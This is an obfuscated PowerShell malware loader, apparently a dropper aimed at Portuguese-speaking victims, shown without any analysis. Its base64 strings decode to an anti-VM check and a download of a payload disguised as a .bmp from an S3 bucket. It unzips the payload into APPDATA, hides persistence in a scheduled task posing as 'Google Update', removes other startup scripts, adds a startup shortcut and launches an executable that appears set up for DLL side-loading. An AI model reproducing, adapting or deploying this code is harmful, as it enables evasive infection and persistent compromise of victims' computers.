st3.ps1 ISESteroids obfuscation

${/=\_/\/===\_____/} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('aAB0AHQAcABzADoALwAvAHMAMwAtAHMAYQAtAGUAYQBzAHQALQAxAC4AYQBtAGEAegBvAG4AYQB3AHMALgBjAG8AbQAvAGEAbAB1AGwAYQBzADIAMAAxADkALwBYAGsAYgB5AEMAUQBuAEEAagBmAGIAcgBPAHgALgBiAG0AcAA=')))
${/=\/=\/\/===\/===} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgB2AHMAbQBhAHIAdABtAGEAeABhAHAAcAAuAGUAeABlAA==')))
${/=\/\/\_/=\___/==}    = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgB2AHMAbQBhAHIAdABtAGEAeABhAHAAcAA=')))
${___/\/\/\__/=\/=\} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('ZwB1AHAALgBlAHgAZQA=')))
function ___/\____/=\/\/==\(${__/\_/=\/\_/===\_/} , ${_/=\/==\_____/=\_/})
  {
    ${/===\____/=\/=\_/} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RwBvAG8AZwBsAGUAQgBvAGwA')))
    ${__/===\/\_/\__/=\} = ${__/\_/=\/\_/===\_/}
    ${_____/\_/\/\_/=\_} = ""
    ${_/=\/\/=\/\___/=\}= ${_/=\/==\_____/=\_/}
    ${__/==\_____/\/==\} = [datetime]::Now.AddMinutes(1)
    ${/=\/\_/==\/\____/} = new-object -ComObject($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwBjAGgAZQBkAHUAbABlAC4AUwBlAHIAdgBpAGMAZQA='))))
    ${/=\/\_/==\/\____/}.Connect()
    ${_/\/=\/\_/\/==\/\} = ${/=\/\_/==\/\____/}.GetFolder("\")
    ${___/=\__/==\_/\_/} = ${/=\/\_/==\/\____/}.NewTask(0)
    ${_/\_/==\_/=\/=\__} = ${___/=\__/==\_/\_/}.RegistrationInfo
    ${_/\_/==\_/=\/=\__}.Description = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TQBhAG4AdADpAG0AIABvACAAcwBlAHUAIABzAG8AZgB0AHcAYQByAGUAIABkAG8AIABHAG8AbwBnAGwAZQAgAGEAdAB1AGEAbABpAHoAYQBkAG8ALgA=')))
    ${_/\_/==\_/=\/=\__}.Author = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RwBvAG8AZwBsAGUAIABVAHAAZABhAHQAZQA=')))
    ${/=\/==\/=====\/\/} = ${___/=\__/==\_/\_/}.Settings
    ${/=\/==\/=====\/\/}.Enabled = $true
    ${/=\/==\/=====\/\/}.StartWhenAvailable = $true
    ${/=\/==\/=====\/\/}.AllowDemandStart = $true
    ${/=\/==\/=====\/\/}.Hidden = $true
    ${__/\_/==\_/\_/=\/} = ${___/=\__/==\_/\_/}.Triggers
    ${___/\/==\/\/\/=\/} = ${__/\_/==\_/\_/=\/}.Create(2)
    ${___/\/==\/\/\/=\/}.StartBoundary = ${__/==\_____/\/==\}.ToString($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('eQB5AHkAeQAtAE0ATQAtAGQAZAAnAFQAJwBIAEgAOgBtAG0AOgBzAHMA'))))
    ${___/\/==\/\/\/=\/}.Repetition.Interval = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UABUADMASAA=')))
    ${___/\/==\/\/\/=\/}.Enabled = $true
    ${/==\___/=\/=\__/\} = ${___/=\__/==\_/\_/}.Actions.Create(0)
    ${/==\___/=\/=\__/\}.Path = $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JAB7AF8AXwAvAD0APQA9AFwALwBcAF8ALwBcAF8AXwAvAD0AXAB9AA==')))
    ${/==\___/=\/=\__/\}.Arguments = $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JAB7AF8AXwBfAF8AXwAvAFwAXwAvAFwALwBcAF8ALwA9AFwAXwB9AA==')))
    ${/==\___/=\/=\__/\}.WorkingDirectory = ${_/=\/\/=\/\___/=\}
    ${_/\/=\/\_/\/==\/\}.RegisterTaskDefinition($ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JAB7AC8APQA9AD0AXABfAF8AXwBfAC8APQBcAC8APQBcAF8ALwB9AA=='))),${___/=\__/==\_/\_/},6,$null,$null,3) | Out-Null
  }
function _/==\/\/=\___/=\_/
{
  ${_/\__/\__/\__/\/=} = Get-WmiObject -Class Win32_ComputerSystem |Select-Object -ExpandProperty Model
  if (${_/\__/\__/\__/\/=} -eq $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('VgBpAHIAdAB1AGEAbABCAG8AeAA='))) -or
    ${_/\__/\__/\__/\/=} -eq $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('VgBNAHcAYQByAGUAIABWAGkAcgB0AHUAYQBsACAAUABsAGEAdABmAG8AcgBtAA=='))) -or
    ${_/\__/\__/\__/\/=} -eq $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('VgBpAHIAdAB1AGEAbAAgAE0AYQBjAGgAaQBuAGUA'))) -or
  ${_/\__/\__/\__/\/=} -eq $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('SABWAE0AIABkAG8AbQBVAA=='))))
  {
    return "Y"
  }
  else
  {
    return "N"
  }
}
function ______/\_/\_/=\/\_
{
  try
  {
    ${/=\/\/=\_/==\__/\} = Get-Random -Minimum 1 -Maximum 9
    ${__/\__/\/=\/=\/\_} = ""
    For (${_/\/===\/==\__/\/}=0; ${_/\/===\/==\__/\/} -le ${/=\/\/=\_/==\__/\}; ${_/\/===\/==\__/\/}++)
    {
      ${_/=\/=\__/=\_/\__}  = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cQB3AGUAcgB0AHkAdQBpAG8AcABsAGsAagBoAGcAZgBkAHMAYQB6AHgAYwB2AGIAbgBtAFEAVwBFAFIAVABZAFUASQBPAFAAQQBTAEQARgBHAEgASgBLAEwAWgBYAEMAVgBCAE4ATQA=')))
      ${_/\___/\/=\_/\/\/}  = Get-Random -Minimum 1 -Maximum ${_/=\/=\__/=\_/\__}.Length
      ${__/\_/\_/\_/===\/} = ${_/=\/=\__/=\_/\__}.Substring(${_/\___/\/=\_/\/\/},1)
      ${__/\__/\/=\/=\/\_} = ${__/\__/\/=\/=\/\_}+${__/\_/\_/\_/===\/}
    }
    return ${__/\__/\/=\/=\/\_}
  }
  finally{}
}
function __/=\/\/\_/=\_/\__(${_/=\___/=\_/\___/\}, ${_/=\/\/\_/\/======})
{
    ${/=\______/====\__} = New-Object $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwB5AHMAdABlAG0ALgBVAHIAaQA='))) $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JAB7AF8ALwA9AFwAXwBfAF8ALwA9AFwAXwAvAFwAXwBfAF8ALwBcAH0A')))
    ${__/\/==\_/=\/\/=\} = [System.Net.HttpWebRequest]::Create(${/=\______/====\__})
    ${__/\/==\_/=\/\/=\}.set_Timeout(15000)
    ${/=\__/=\__/\___/=} = ${__/\/==\_/=\/\/=\}.GetResponse()
    ${_/\/=\____/\_/=\_} = [System.Math]::Floor(${/=\__/=\__/\___/=}.get_ContentLength()/1024)
    ${__/\/=\/\__/\_/\/} = ${/=\__/=\__/\___/=}.GetResponseStream()
    ${___/==\/\/\/\____} = New-Object -TypeName System.IO.FileStream -ArgumentList ${_/=\/\/\_/\/======}, Create
    ${_/\_/==\_/\/\/\__} = new-object byte[] 10KB
    ${/=\/==\__/\/=\/==} = ${__/\/=\/\__/\_/\/}.Read(${_/\_/==\_/\/\/\__},0,${_/\_/==\_/\/\/\__}.length)
    ${/=\_/\_/=\/\___/=} = ${/=\/==\__/\/=\/==}
    while (${/=\/==\__/\/=\/==} -gt 0)
    {
        ${___/==\/\/\/\____}.Write(${_/\_/==\_/\/\/\__}, 0, ${/=\/==\__/\/=\/==})
        ${/=\/==\__/\/=\/==} = ${__/\/=\/\__/\_/\/}.Read(${_/\_/==\_/\/\/\__},0,${_/\_/==\_/\/\/\__}.length)
        ${/=\_/\_/=\/\___/=} = ${/=\_/\_/=\/\___/=} + ${/=\/==\__/\/=\/==}
    }
    ${___/==\/\/\/\____}.Flush()
    ${___/==\/\/\/\____}.Close()
    ${___/==\/\/\/\____}.Dispose()
    ${__/\/=\/\__/\_/\/}.Dispose()
    return "Y"
}
function __/====\/\_____/\_
{
  Param([string]${___/\_/==\_/===\_/},[string]${_/=\/==\/=\_/==\__});
  try{
    ${/\______/==\__/=\} = New-Object -ComObject WScript.Shell
    ${/=\/\/\/\__/\/===} = ${/\______/==\__/=\}.CreateShortcut(${___/\_/==\_/===\_/})
    ${/=\/\/\/\__/\/===}.TargetPath = $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JAB7AF8ALwA9AFwALwA9AD0AXAAvAD0AXABfAC8APQA9AFwAXwBfAH0A')))
    ${/=\/\/\/\__/\/===}.Arguments = ""
    ${/=\/\/\/\__/\/===}.WorkingDirectory = $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXAAkAHsAXwBfAF8ALwBcAF8ALwBcAF8ALwBcAC8AXABfAC8APQBcAH0A')))
    ${/=\/\/\/\__/\/===}.WindowStyle = 7
    ${/=\/\/\/\__/\/===}.IconLocation = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JQBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwAlAFwASQBuAHQAZQByAG4AZQB0ACAARQB4AHAAbABvAHIAZQByAFwAaQBlAHgAcABsAG8AcgBlAC4AZQB4AGUALAAxAA==')))
    ${/=\/\/\/\__/\/===}.Save()
  }finally{}
}
function __/\__/==\/\__/=\/
{
  try
  {
    ${___/=\____/\_/=\/} = New-Object System.Threading.Mutex($false, $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('NAA0ADQANAA0ADQANAA0ADQANAA0ADQA'))))
    return ${___/=\____/\_/=\/}.WaitOne()
  }finally{}
}
  if (_/==\/\/=\___/=\_/ -eq "N")
  {
    if (__/\__/==\/\__/=\/)
    {
      stop-process -name wmplayer
      ${_/\/====\___/==\_} = ${env:APPDATA}+"\"
      ${/==\_/\______/\/\} = ______/\_/\_/=\/\_
      ${___/\_/\_/\/\_/=\} = ______/\_/\_/=\/\_
      ${/=\_____/=\____/\} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('LgB0AHgAdAA=')))
      ${/======\_/\____/=} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('LgB2AGIAcwA=')))
      ${___/\/\_/=\/\/==\}  = ${_/\/====\___/==\_}+${/==\_/\______/\/\}+${/=\_____/=\____/\}
      ${/=\__/=\/===\/==\} = new-object -ComObject scripting.filesystemobject
      ${/=\__/=\/===\/==\}.CreateFolder(${_/\/====\___/==\_}+${___/\_/\_/\/\_/=\})  | Out-Null
      sleep -s 1
      ${_/\/\__/=\__/\/=\}  = $false
      while(${_/\/\__/=\__/\/=\} -ne $true)
        {
        __/=\/\/\_/=\_/\__ ${/=\_/\/===\_____/} ${___/\/\_/=\/\/==\}; sleep -s 1
        if ((Get-Item ${___/\/\_/=\/\/==\}).length -gt 2048kb)
         {
           ${_/\/\__/=\__/\/=\}  = $true
           ${/=\_/=\/===\____/} =  "Y"
          }
          else
           {
            ${/=\_/=\/===\____/} = "N"
           }
        Write-Host ${_/\/\__/=\__/\/=\}
        }
       ${/=\_/=\/===\____/} =  "Y"
        if (${/=\_/=\/===\____/} -eq "Y")
        {
          ${_/\__/\/===\_/==\} = ${_/\/====\___/==\_}+${/==\_/\______/\/\} +$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('LgB6AGkAcAA=')))
          Rename-Item -Path $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JAB7AF8AXwBfAC8AXAAvAFwAXwAvAD0AXAAvAFwALwA9AD0AXAB9AA=='))) -NewName $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JAB7AF8ALwBcAF8AXwAvAFwALwA9AD0APQBcAF8ALwA9AD0AXAB9AA==')));
          ${_/\_/\______/=\__} = New-Object -ComObject shell.application
          ${_/\__/\/=\/===\__} = ${_/\_/\______/=\__}.NameSpace(${_/\__/\/===\_/==\})
          foreach (${___/=\/==\_/==\_/} in ${_/\__/\/=\/===\__}.items())
          {
            ${_/\_/\______/=\__}.Namespace(${_/\/====\___/==\_}+${___/\_/\_/\/\_/=\}).CopyHere(${___/=\/==\_/==\_/}, 0x14)
          }
          sleep -s 3
          del ${_/\__/\/===\_/==\}
          ___/\____/=\/\/==\ -__/\_/=\/\_/===\_/ $env:APPDATA\${___/\_/\_/\/\_/=\}\${___/\/\/\__/=\/=\} -_/=\/==\_____/=\_/ $env:APPDATA\${___/\_/\_/\/\_/=\}
          ${_/\__/\/\___/\__/} = New-Object -Com WScript.Shell
          ${/=\___/=\_/==\/=\} = ${_/\__/\/\___/\__/}.SpecialFolders.Item($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwB0AGEAcgB0AHUAcAA='))));
          del ${/=\___/=\_/==\/=\}\*.vbs
          del ${/=\___/=\_/==\/=\}\*.lnk
          ${____/===\/=\_____} = $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXAAkAHsAXwBfAF8ALwBcAF8ALwBcAF8ALwBcAC8AXABfAC8APQBcAH0AXAAkAHsALwA9AFwALwA9AFwALwBcAC8APQA9AD0AXAAvAD0APQA9AH0A')))
          ${_/\_____/=\/=\__/} = $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JAB7AC8APQBcAF8AXwBfAC8APQBcAF8ALwA9AD0AXAAvAD0AXAB9AFwAJAB7AC8APQBcAC8AXAAvAFwAXwAvAD0AXABfAF8AXwAvAD0APQB9AC4AbABuAGsA')))
          __/====\/\_____/\_ ${_/\_____/=\/=\__/}  ${____/===\/=\_____};
          cd $env:APPDATA\${___/\_/\_/\/\_/=\}; Start-Process $env:APPDATA\${___/\_/\_/\/\_/=\}\${/=\/=\/\/===\/===};
        }
    }
  }